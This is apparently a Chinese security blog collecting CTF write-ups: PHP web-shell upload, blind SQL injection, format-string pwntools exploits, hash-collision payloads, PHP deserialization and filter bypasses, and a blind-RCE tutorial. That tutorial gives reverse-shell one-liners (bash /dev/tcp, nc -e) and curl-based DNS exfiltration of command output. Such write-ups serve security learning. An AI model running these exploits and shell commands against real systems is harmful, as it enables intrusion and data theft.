wubba lubba dub dub.
post @ 2023-08-29

题目链接

打开页面看见源码什么都没有

1
<?ph highlight_file(__FILE__);// Welcome to NSSCTF Round#1 Basic, have fun. 

目录扫描也没得到有用信息

curlnikto扫描可以发现可以使用 PUT 方法来上传文件

imgimg

PUT

如果请求URI(Request-URI)指定的的资源已经在源服务器上存在,那么此请求里的实体应该被当作是源服务器关于此URI所指定资源实体的最新修改版本。如果请求URI(Request-URI)指定的资源不存在,并且此URI被用户代理定义为一个新资源,那么源服务器就应该根据请求里的实体创建一个此URI所标识下的资源

指定url和内容,生成对应文件

BP抓包修改方法和文件名,加上一句话木马,发送即可 然后post cmd或连接蚁剑获取flag

img

Read More
post @ 2023-08-28

题目链接

尝试发现存在过滤

1
2
3
4
5
id = 0	"Error Occured When Fetch Result."
id = 1 "Hello, glzjin wants a girlfriend."
id = 2 "Do you want to be my girlfriend?"
id = {被过滤部分} "SQL Injection Checked."
id = {其他} "bool(false)"

fuzz发现空格被过滤,大部分函数都没被过滤

img

尝试0^1发现回显对应1的内容,猜测为数字注入,可直接写表达式

尝试if(1,1,0),同样对应1的内容

则可通过if((ascii(substr((select(flag)from(flag)),1,1))=78),1,0)来判断flag中每一位的内容(想更快也可以把等号换成大于号 用二分法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

alpha = 'ufesridnophmabcgjklqtvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-'

url = 'http://node4.anna.nssctf.cn:28761'
flag = 'NSSCTF{'

for i in range(7, 50):
for j in alpha:
data = f'if((ascii(substr((select(flag)from(flag)),{i},1))={ord(j)}),1,0)'

res = requests.post(url = url, data = {"id": data})

if 'Hello' in res.text:
flag += j
print(flag)
break
Read More

相关资源

文件分析

1
2
3
4
5
6
$ checksec betstar
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
puts("Welcome to the ultimate betting service.");
printf("%s", "Enter the amount of players: ");
fgets(s, 3, stdin);
num = atoi(s);
players = (person *)malloc(8 * (num + 6));
for (i = 0; i < num; ++i) { // 创建num个玩家
v4 = &players[i];
v4->name = (char *)malloc(4u);
printf("%s", "Name: ");
fgets(players[i].name, 10, stdin);
strtok(players[i].name, "\n");
}
// [...]
switch (option) {
case 1: // 进行一局猜数
play_round(players);
fflush(stdout);
break;
case 2: //展示各玩家得分
show_score(players, num);
break;
case 3: // 增添玩家
if (v9 == 6) {
puts("Ughh, stop it. I already added enought players for you. Stop "
"bothering me");
} else {
puts("Welcome new player!");
printf("%s", "Please enter your name: ");
v5 = &players[num];
v5->name = (char *)malloc(4u);
fgets(players[num].name, 20, stdin);
strtok(players[num++].name, "\n");
++v9;
}
break;
case 4: // 更改玩家名
puts("Which player index should i change: ");
fgets(nptr, 5, stdin);
v14 = atoi(nptr);
if (v14 >= 0 && v14 <= num) {
printf("Enter new name: ");
fgets(players[v14].name, 18, stdin);
strtok(players[v14].name, "\n");
}
break;
// [...]
}

play_round函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
printf("%s", "Amount of players playing this round: ");
fgets(s, 5, stdin); // 指定前n个玩家参与游戏
v6 = atoi(s);
puts("Each player makes a bet between 0 -> 100, the one who lands closest win "
"the round!");
v8 = rand() % 100 + 1;
v3 = -1;
v4 = 100;
for (i = 0; i < v6; ++i) {
printf("%s", players[i].name);
printf("'s bet: ");
v1 = fgets(v10, 5, stdin);
v7 = atoi(v1);
if (v4 > (int)abs32(v8 - v7)) {
v3 = i;
v4 = v7;
strcpy(dest, players[i].name); // 猜数离生成的随机数最近的玩家胜出,名存于dest
}
}
printf("%s", "And the winner is *drumroll*: ");
printf(dest); // *********此处存在格式化字符串漏洞*********
++players[v3].score;

攻击方法

法一

  1. 创建多名玩家,构造首位玩家名进行游戏泄露地址
  2. 准备将system真实地址写入到strtok@got中,这样覆盖之后再有调用处理输入/bin/sh即可获取shell
  3. 由于system真实地址和strtok真实地址都是0x7f开头的,所以只需要覆盖最低三个字节(通过%hhn写入单字节,%hn写入双字节)
  4. 拆分system地址的每个byte并计算相隔差距
  5. 改名,此处要注意不能直接改相邻玩家,因为输入超过了分配的内存空间,会造成后面的被覆盖,所以可以改玩家0,2,4的名称
  6. 多名玩家一起多进行几把猜数游戏,前面构造的三个玩家在某次胜利后就会写入目标地址(注意一定要都改完名再进行游戏,如果改一个进行一次可能导致strtok地址不可用,程序崩溃)

法二

  1. 此处更改atoi真实地址
  2. 同样计算偏移量,构造格式化字符串(写入两次双字节)
  3. 这次直接将字符串拆成两部分分别改玩家0和玩家1,改玩家1的时候覆盖玩家0名字末尾的终止符,成为一个字符串
  4. 只要玩家0玩一次即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
from ctypes import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./betstar", stdin=pty, stdout=pty)
belf = ELF("./betstar")
libc = ELF("./libc-2.27.so")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def play_round(num):
sla(b'End the game', b'1')
sla(b'Amount', str(num).encode())
# ts = []
for i in range(num):
t = randint(1, 100)
sla(b'bet:', str(t).encode())
# ts.append(t)
# info(ts)

def change_name(idx, name):
sla(b'End the game', b'4')
sla(b'change: ', str(idx).encode())
sla(b'name: ', name)

def add_player(name):
sla(b'End the game', b'3')
sla(b'name: ', name)

def get_offset(bt):
return (bt - 4 + 0x100) % 0x100 # 可能被减为负,需要加上然后区域

gscript = '''
pie b 0x000009DF
pie b 0x00000D71
pie b 0x00000E47
pie b 0x000009A7
'''

if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

sla(b'amount', b'6')
for i in range(6):
sla(b'Name:', b'%1$p%23$p')


play_round(1) # 只第一名玩家玩,泄露ELF和libc基地址(由gdb调试分析得来1$p和23$p)
ru(b'*drumroll*: ')
belf_base = int(ru(b'05c'), 16) - 0x105c
libc_base = int(ru(b'\n').strip(b'\n'), 16) - 0x10 -libc.sym['atoi']
strtok = libc_base + libc.sym['strtok']
strtok_got = belf_base + belf.got['strtok']
atoi_got = belf_base + belf.got['atoi']
system = libc_base + libc.sym['system']

success("elf base: " + hex(belf_base))
success("libc base: " + hex(libc_base))
success("strtok: " + hex(strtok))
success("strtok@got: " + hex(strtok_got))
success("system: " + hex(system))

byte0 = (system & 0xff)
byte1 = ((system >> 8) & 0xff)
byte2 = ((system >> 16) & 0xff)
word1 = ((system >> 8) & 0xffff) # byte 1 and 2

# # method 1
# change_name(0, p32(strtok_got + 0) + f'%{get_offset(byte0)}d%19$hhn'.encode())
# info("player0: "+ f'%{get_offset(byte0)}d%19$hhn')
# change_name(2, p32(strtok_got + 1) + f'%{get_offset(byte1)}d%19$hhn'.encode())
# info("player1: "+ f'%{get_offset(byte1)}d%19$hhn')
# change_name(4, p32(strtok_got + 2) + f'%{get_offset(byte2)}d%19$hhn'.encode())
# info("player2: "+ f'%{get_offset(byte2)}d%19$hhn')
# for i in range(30):
# play_round(6)
# add_player(b'/bin/sh\x00')


# method 2
fmt = p32(atoi_got) + p32(atoi_got + 2)
fmt += f'%{(system & 0xffff) - 8}d%19$hn'.encode()
fmt += f'%{((system >> 16) & 0xffff) - (system & 0xffff)}d%20$hn'.encode()
print(len(fmt))
change_name(0, fmt[0:17])
change_name(1, fmt[16:])
play_round(1)
sla(b'End the game', b'sh')



pi()
pause()
Read More

相关资源

文件分析

1
2
3
4
5
6
7
8
9
10
11
$ checksec 32_new
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

$ ./32_new
Hello baby pwner, whats your name?
guyinatuxedo
Ok cool, soon we will know whether you pwned it or not. Till then Bye guyinatuxedo

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {
char s[200]; // [esp+18h] [ebp-200h] BYREF
char format[300]; // [esp+E0h] [ebp-138h] BYREF
unsigned int v5; // [esp+20Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
puts("Hello baby pwner, whats your name?");
fflush(stdout);
fgets(s, 200, edata);
fflush(edata);
sprintf(format, "Ok cool, soon we will know whether you pwned it or not. Till then Bye %s", s);
fflush(stdout);
printf(format);
fflush(stdout);
exit(1);
}

void flag(void) {
system("cat flag.txt");
return;
}
  1. 11# 获取输入置于format
  2. 13# 直接输出format(存在格式化字符串漏洞)
  3. 18# 有后门函数flag

攻击方法

因为栈上地址无法泄露,我们不可获取栈地址从而写返回地址

但是main最后还调用了库函数fflush,我们可以改写got表中它的真实地址为flag函数的地址,从而获取flag

%n作用

把截至目前成功输出的字符数量以int型数据格式写入到对应地址

%{num}$x作用

指定第{num}个参数进行输出/写入 那么printf("hhh%2$n", a, b)也就是将3写入第二个参数b指向的内存(注意不是改写b本身)

覆盖方式

从低字节向高字节覆盖,注意写入的值只增不减 (因为输出只会多不会少),但我们通常只要保证低字节位为我们想要的值即可,溢出可以继续被覆盖

例: 假如我们想写入0x0862,但我们目前就已经输出了0x70个字符

  1. 法一:首先凑满0x162写入最低地址,再凑够0x208写入地址加一,假设溢出对后面没有太大影响的话就已经写入成功

    1
    2
    |62|01|
    |62|08|02|
  2. 法二:直接凑够0x862个字符写入

    1
    |62|08|

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from ctypes import *
import sys
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./32_new")
belf = ELF("./32_new")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

gscript = '''
b main
b * 0x080487D7
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

flag = 0x0804870B
main = 0x08048724
fflush_got = belf.got['fflush']
payload = p32(fflush_got)
payload += p32(fflush_got + 1) + p32(fflush_got + 3)
payload += b'%185d%10$n' # 0x10b-82=185 前面的输出就已经有82了,我们在最低字节处写入0x10b
payload += b'%892d%11$n' # 0x487-0x10b=892 第二字节处写入0x0487
payload += b'%129d%12$n' # 0x508-0x487=129 最后一个字节处写入0x0508

sla(b'name?', payload)
pi()
pause()

Read More
post @ 2023-08-23

题目链接

level 1

1
/robots.txt	//源码有提示

level 2

md5碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
post_data = {
"array1": b'\x0e\x30\x65\x61\x55\x9a\xa7\x87\xd0\x0b\xc6\xf7\x0b\xbd'
b'\xfe\x34\x04\xcf\x03\x65\x9e\x74\x4f\x85\x34\xc0\x0f\xfb'
b'\x65\x9c\x4c\x87\x40\xcc\x94\x2f\xeb\x2d\xa1\x15\xa3\xf4'
b'\x15\xdc\xbb\x86\x07\x49\x73\x86\x65\x6d\x7d\x1f\x34\xa4'
b'\x20\x59\xd7\x8f\x5a\x8d\xd1\xef',
"array2": b'\x0e\x30\x65\x61\x55\x9a\xa7\x87\xd0\x0b\xc6\xf7\x0b\xbd'
b'\xfe\x34\x04\xcf\x03\x65\x9e\x70\x4f\x85\x34\xc0\x0f\xfb'
b'\x65\x9c\x4c\x87\x40\xcc\x94\x2f\xeb\x2d\xa1\x15\xa3\xf4'
b'\x15\x5c\xbb\x86\x07\x49\x73\x86\x65\x6d\x7d\x1f\x34\xa4'
b'\x20\x59\xd7\x8f\x5a\x8d\xd1\xef'}
response = requests.post("http://node3.anna.nssctf.cn:28905/level_2_1s_h3re.php", data=post_data)
print(response.text)

level 3

sha1碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
post_data = {
"array1":
b'\x99\x04\x0d\x04\x7f\xe8\x17\x80\x01\x20\x00\xff\x4b\x65\x79\x20'
b'\x69\x73\x20\x70\x61\x72\x74\x20\x6f\x66\x20\x61\x20\x63\x6f\x6c'
b'\x6c\x69\x73\x69\x6f\x6e\x21\x20\x49\x74\x27\x73\x20\x61\x20\x74'
b'\x72\x61\x70\x21\x79\xc6\x1a\xf0\xaf\xcc\x05\x45\x15\xd9\x27\x4e'
b'\x73\x07\x62\x4b\x1d\xc7\xfb\x23\x98\x8b\xb8\xde\x8b\x57\x5d\xba'
b'\x7b\x9e\xab\x31\xc1\x67\x4b\x6d\x97\x43\x78\xa8\x27\x73\x2f\xf5'
b'\x85\x1c\x76\xa2\xe6\x07\x72\xb5\xa4\x7c\xe1\xea\xc4\x0b\xb9\x93'
b'\xc1\x2d\x8c\x70\xe2\x4a\x4f\x8d\x5f\xcd\xed\xc1\xb3\x2c\x9c\xf1'
b'\x9e\x31\xaf\x24\x29\x75\x9d\x42\xe4\xdf\xdb\x31\x71\x9f\x58\x76'
b'\x23\xee\x55\x29\x39\xb6\xdc\xdc\x45\x9f\xca\x53\x55\x3b\x70\xf8'
b'\x7e\xde\x30\xa2\x47\xea\x3a\xf6\xc7\x59\xa2\xf2\x0b\x32\x0d\x76'
b'\x0d\xb6\x4f\xf4\x79\x08\x4f\xd3\xcc\xb3\xcd\xd4\x83\x62\xd9\x6a'
b'\x9c\x43\x06\x17\xca\xff\x6c\x36\xc6\x37\xe5\x3f\xde\x28\x41\x7f'
b'\x62\x6f\xec\x54\xed\x79\x43\xa4\x6e\x5f\x57\x30\xf2\xbb\x38\xfb'
b'\x1d\xf6\xe0\x09\x00\x10\xd0\x0e\x24\xad\x78\xbf\x92\x64\x19\x93'
b'\x60\x8e\x8d\x15\x8a\x78\x9f\x34\xc4\x6f\xe1\xe6\x02\x7f\x35\xa4'
b'\xcb\xfb\x82\x70\x76\xc5\x0e\xca\x0e\x8b\x7c\xca\x69\xbb\x2c\x2b'
b'\x79\x02\x59\xf9\xbf\x95\x70\xdd\x8d\x44\x37\xa3\x11\x5f\xaf\xf7'
b'\xc3\xca\xc0\x9a\xd2\x52\x66\x05\x5c\x27\x10\x47\x55\x17\x8e\xae'
b'\xff\x82\x5a\x2c\xaa\x2a\xcf\xb5\xde\x64\xce\x76\x41\xdc\x59\xa5'
b'\x41\xa9\xfc\x9c\x75\x67\x56\xe2\xe2\x3d\xc7\x13\xc8\xc2\x4c\x97'
b'\x90\xaa\x6b\x0e\x38\xa7\xf5\x5f\x14\x45\x2a\x1c\xa2\x85\x0d\xdd'
b'\x95\x62\xfd\x9a\x18\xad\x42\x49\x6a\xa9\x70\x08\xf7\x46\x72\xf6'
b'\x8e\xf4\x61\xeb\x88\xb0\x99\x33\xd6\x26\xb4\xf9\x18\x74\x9c\xc0'
b'\x27\xfd\xdd\x6c\x42\x5f\xc4\x21\x68\x35\xd0\x13\x4d\x15\x28\x5b'
b'\xab\x2c\xb7\x84\xa4\xf7\xcb\xb4\xfb\x51\x4d\x4b\xf0\xf6\x23\x7c'
b'\xf0\x0a\x9e\x9f\x13\x2b\x9a\x06\x6e\x6f\xd1\x7f\x6c\x42\x98\x74'
b'\x78\x58\x6f\xf6\x51\xaf\x96\x74\x7f\xb4\x26\xb9\x87\x2b\x9a\x88'
b'\xe4\x06\x3f\x59\xbb\x33\x4c\xc0\x06\x50\xf8\x3a\x80\xc4\x27\x51'
b'\xb7\x19\x74\xd3\x00\xfc\x28\x19\xa2\xe8\xf1\xe3\x2c\x1b\x51\xcb'
b'\x18\xe6\xbf\xc4\xdb\x9b\xae\xf6\x75\xd4\xaa\xf5\xb1\x57\x4a\x04'
b'\x7f\x8f\x6d\xd2\xec\x15\x3a\x93\x41\x22\x93\x97\x4d\x92\x8f\x88'
b'\xce\xd9\x36\x3c\xfe\xf9\x7c\xe2\xe7\x42\xbf\x34\xc9\x6b\x8e\xf3'
b'\x87\x56\x76\xfe\xa5\xcc\xa8\xe5\xf7\xde\xa0\xba\xb2\x41\x3d\x4d'
b'\xe0\x0e\xe7\x1e\xe0\x1f\x16\x2b\xdb\x6d\x1e\xaf\xd9\x25\xe6\xae'
b'\xba\xae\x6a\x35\x4e\xf1\x7c\xf2\x05\xa4\x04\xfb\xdb\x12\xfc\x45'
b'\x4d\x41\xfd\xd9\x5c\xf2\x45\x96\x64\xa2\xad\x03\x2d\x1d\xa6\x0a'
b'\x73\x26\x40\x75\xd7\xf1\xe0\xd6\xc1\x40\x3a\xe7\xa0\xd8\x61\xdf'
b'\x3f\xe5\x70\x71\x88\xdd\x5e\x07\xd1\x58\x9b\x9f\x8b\x66\x30\x55'
b'\x3f\x8f\xc3\x52\xb3\xe0\xc2\x7d\xa8\x0b\xdd\xba\x4c\x64\x02\x0d',

"array2":
b'\x99\x03\x0d\x04\x7f\xe8\x17\x80\x01\x18\x00\xff\x50\x72\x61\x63'
b'\x74\x69\x63\x61\x6c\x20\x53\x48\x41\x2d\x31\x20\x63\x68\x6f\x73'
b'\x65\x6e\x2d\x70\x72\x65\x66\x69\x78\x20\x63\x6f\x6c\x6c\x69\x73'
b'\x69\x6f\x6e\x21\x1d\x27\x6c\x6b\xa6\x61\xe1\x04\x0e\x1f\x7d\x76'
b'\x7f\x07\x62\x49\xdd\xc7\xfb\x33\x2c\x8b\xb8\xc2\xb7\x57\x5d\xbe'
b'\xc7\x9e\xab\x2b\xe1\x67\x4b\x7d\xb3\x43\x78\xb4\xcb\x73\x2f\xe1'
b'\x89\x1c\x76\xa0\x26\x07\x72\xa5\x10\x7c\xe1\xf6\xe8\x0b\xb9\x97'
b'\x7d\x2d\x8c\x68\x52\x4a\x4f\x9d\x5f\xcd\xed\xcd\x0b\x2c\x9c\xe1'
b'\x92\x31\xaf\x26\xe9\x75\x9d\x52\x50\xdf\xdb\x2d\x4d\x9f\x58\x72'
b'\x9f\xee\x55\x33\x19\xb6\xdc\xcc\x61\x9f\xca\x4f\xb9\x3b\x70\xec'
b'\x72\xde\x30\xa0\x87\xea\x3a\xe6\x73\x59\xa2\xee\x27\x32\x0d\x72'
b'\xb1\xb6\x4f\xec\xc9\x08\x4f\xc3\xcc\xb3\xcd\xd8\x3b\x62\xd9\x7a'
b'\x90\x43\x06\x15\x0a\xff\x6c\x26\x72\x37\xe5\x23\xe2\x28\x41\x7b'
b'\xde\x6f\xec\x4e\xcd\x79\x43\xb4\x4a\x5f\x57\x2c\x1e\xbb\x38\xef'
b'\x11\xf6\xe0\x0b\xc0\x10\xd0\x1e\x90\xad\x78\xa3\xbe\x64\x19\x97'
b'\xdc\x8e\x8d\x0d\x3a\x78\x9f\x24\xc4\x6f\xe1\xea\xba\x7f\x35\xb4'
b'\xc7\xfb\x82\x72\xb6\xc5\x0e\xda\xba\x8b\x7c\xd6\x55\xbb\x2c\x2f'
b'\xc5\x02\x59\xe3\x9f\x95\x70\xcd\xa9\x44\x37\xbf\xfd\x5f\xaf\xe3'
b'\xcf\xca\xc0\x98\x12\x52\x66\x15\xe8\x27\x10\x5b\x79\x17\x8e\xaa'
b'\x43\x82\x5a\x34\x1a\x2a\xcf\xa5\xde\x64\xce\x7a\xf9\xdc\x59\xb5'
b'\x4d\xa9\xfc\x9e\xb5\x67\x56\xf2\x56\x3d\xc7\x0f\xf4\xc2\x4c\x93'
b'\x2c\xaa\x6b\x14\x18\xa7\xf5\x4f\x30\x45\x2a\x00\x4e\x85\x0d\xc9'
b'\x99\x62\xfd\x98\xd8\xad\x42\x59\xde\xa9\x70\x14\xdb\x46\x72\xf2'
b'\x32\xf4\x61\xf3\x38\xb0\x99\x23\xd6\x26\xb4\xf5\xa0\x74\x9c\xd0'
b'\x2b\xfd\xdd\x6e\x82\x5f\xc4\x31\xdc\x35\xd0\x0f\x71\x15\x28\x5f'
b'\x17\x2c\xb7\x9e\x84\xf7\xcb\xa4\xdf\x51\x4d\x57\x1c\xf6\x23\x68'
b'\xfc\x0a\x9e\x9d\xd3\x2b\x9a\x16\xda\x6f\xd1\x63\x40\x42\x98\x70'
b'\xc4\x58\x6f\xee\xe1\xaf\x96\x64\x7f\xb4\x26\xb5\x3f\x2b\x9a\x98'
b'\xe8\x06\x3f\x5b\x7b\x33\x4c\xd0\xb2\x50\xf8\x26\xbc\xc4\x27\x55'
b'\x0b\x19\x74\xc9\x20\xfc\x28\x09\x86\xe8\xf1\xff\xc0\x1b\x51\xdf'
b'\x14\xe6\xbf\xc6\x1b\x9b\xae\xe6\xc1\xd4\xaa\xe9\x9d\x57\x4a\x00'
b'\xc3\x8f\x6d\xca\x5c\x15\x3a\x83\x41\x22\x93\x9b\xf5\x92\x8f\x98'
b'\xc2\xd9\x36\x3e\x3e\xf9\x7c\xf2\x53\x42\xbf\x28\xf5\x6b\x8e\xf7'
b'\x3b\x56\x76\xe4\x85\xcc\xa8\xf5\xd3\xde\xa0\xa6\x5e\x41\x3d\x59'
b'\xec\x0e\xe7\x1c\x20\x1f\x16\x3b\x6f\x6d\x1e\xb3\xf5\x25\xe6\xaa'
b'\x06\xae\x6a\x2d\xfe\xf1\x7c\xe2\x05\xa4\x04\xf7\x63\x12\xfc\x55'
b'\x41\x41\xfd\xdb\x9c\xf2\x45\x86\xd0\xa2\xad\x1f\x11\x1d\xa6\x0e'
b'\xcf\x26\x40\x6f\xf7\xf1\xe0\xc6\xe5\x40\x3a\xfb\x4c\xd8\x61\xcb'
b'\x33\xe5\x70\x73\x48\xdd\x5e\x17\x65\x58\x9b\x83\xa7\x66\x30\x51'
b'\x83\x8f\xc3\x4a\x03\xe0\xc2\x6d\xa8\x0b\xdd\xb6\xf4\x64\x02\x1d'}
response = requests.post("http://node3.anna.nssctf.cn:28905/Level___3.php", data=post_data)
print(response.text)

level 4

php的变量解析绕过, php会把请求参数中的非法字符转为下划线

1
/level_level_4.php?NI+SA+=txw4ever

level 5

$a('',$b);想到应该是用create_function,但是不能以字母数字开头,前加\

1
/55_5_55.php?a=\create_function&b=}system('ls /;cat /flag');//
Read More
post @ 2023-08-23

题目链接

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
  1. 5行检测file_get_contents($text)
  2. 11行文件包含
  3. 12行反序列化

伪协议

  1. 通过data协议绕过file_get_contents条件判断
  2. 通过php协议查看useless.php(代码提示)内容
1
2
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=php://filter/convert.base64-encode/resource=useless.php

解码得到 useless.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

index.php12-13行,我们可以触发__tostring

exp

1
2
3
4
5
6
7
8
9
10
<?php
class Flag{
public $file="flag.php";
}

$a = new Flag;

echo serialize($a) . "\n";
echo urlencode(serialize($a)) . "\n";
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
1
2
3
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
Read More
post @ 2023-08-21

无回显rce,就是可能进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行

例如以下代码:

execsystem类似都是执行系统命令,不过exec无回显

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
?>

我们可以通过sleep 5来观察网页是否有延迟来判断命令是否成功执行

那么如何看到命令执行结果呢?

0x1 tee命令

tee命令用于读取标准输入的数据,并将其内容输出成文件,然后查看输出的文件

1
2
cat xxx | tee 1.txt
# 访问1.txt

0x2 反弹shell

实际上命令执行了只是看不到回显,我们可以把shell反弹到自己服务器上,再执行命令就可以看到回显了

1
2
3
bash -i >& /dev/tcp/ip/port 0>&1
# or
nc -e /bin/sh ip port

0x3 dnslog外带数据法

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

如果我们发起请求的目标是域名的话,会发生域名解析,产生dnslog

dns请求可以通过pingcurl实现

推荐平台:http://ceye.io/,注册后就会有一个自己的域名,每当dns请求中包含有我们的域名,里面就会有记录

例:

1
2
curl http://******.ceye.io/`whoami`
# {"meta": {"code": 201, "message": "HTTP Record Insert Success"}}

m

其他命令也就类似了,但是注意ls只会显示结果中的第一条,要通过sed选择行数

1
curl http://******.ceye.io/`ls | sed -n '2p'`	# 2p为第二行...
Read More
post @ 2023-08-21

题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

执行任意命令都无回显,尝试执行?url=whoami;sleep 3发现确实有延时,说明命令执行成功

绕过

tee命令用于读取标准输入的数据,并将其内容输出成文件,以下几种均可

1
2
3
4
?url=l\s / | tee 1.txt
?url=l''s / | tee 1.txt
?url=l``s / | tee 1.txt
?url=dir / | tee 1.txt

访问1.txt可以看到ls的结果,看到flllllaaaaaaggggggg;由于la被过滤,也要绕过

1
2
3
4
5
6
7
?url=c''at /flllll\aaaaaaggggggg | tee 2.txt
?url=tac /flllll''aaaaaaggggggg | tee 2.txt
?url=nl /flllll????????????? | tee 2.txt
?url=head /flllll''aaaaaaggggggg | tee 2.txt
?url=tail /flllll''aaaaaaggggggg | tee 2.txt
?url=tailf /flllll''aaaaaaggggggg | tee 2.txt
?url=sort /flllll''aaaaaaggggggg | tee 2.txt

访问2.txt即可看到flag

Read More

相关资源

文件分析

文件夹包含libc.so.6,关于替换动态链接库,可见 https://antel0p3.github.io/2023/05/30/change_libc/

1
2
3
4
5
6
7
8
9
10
$ checksec storytime
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:

代码分析

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
write(1, "HSCTF PWNNNNNNNNNNNNNNNNNNNN\n", 0x1DuLL);
write(1, "Tell me a story: \n", 0x12uLL);
read(0, buf, 0x190uLL);
return 0;
}

明显存在栈溢出

攻击方法

  1. 通过调用write@plt(第二个参数为write@got)来泄露write实际地址进而获取libc基地址,输出后跳转回main待后续攻击

    注意通常只有程序执行过的库函数会出现在plt和got中,所以不能直接用puts来输出

  2. 找到one_gadget或构造system pop链,获取shell

    one_gadget安装使用:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    $ apt install ruby
    $ gem install one_gadget

    $ one_gadget libc.so.6
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
    rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
    [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
    [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL

    以上得到的地址在满足条件下可以直接执行/bin/sh,可以作为跳转地址,都尝试失败后就只能通过system获取shell了
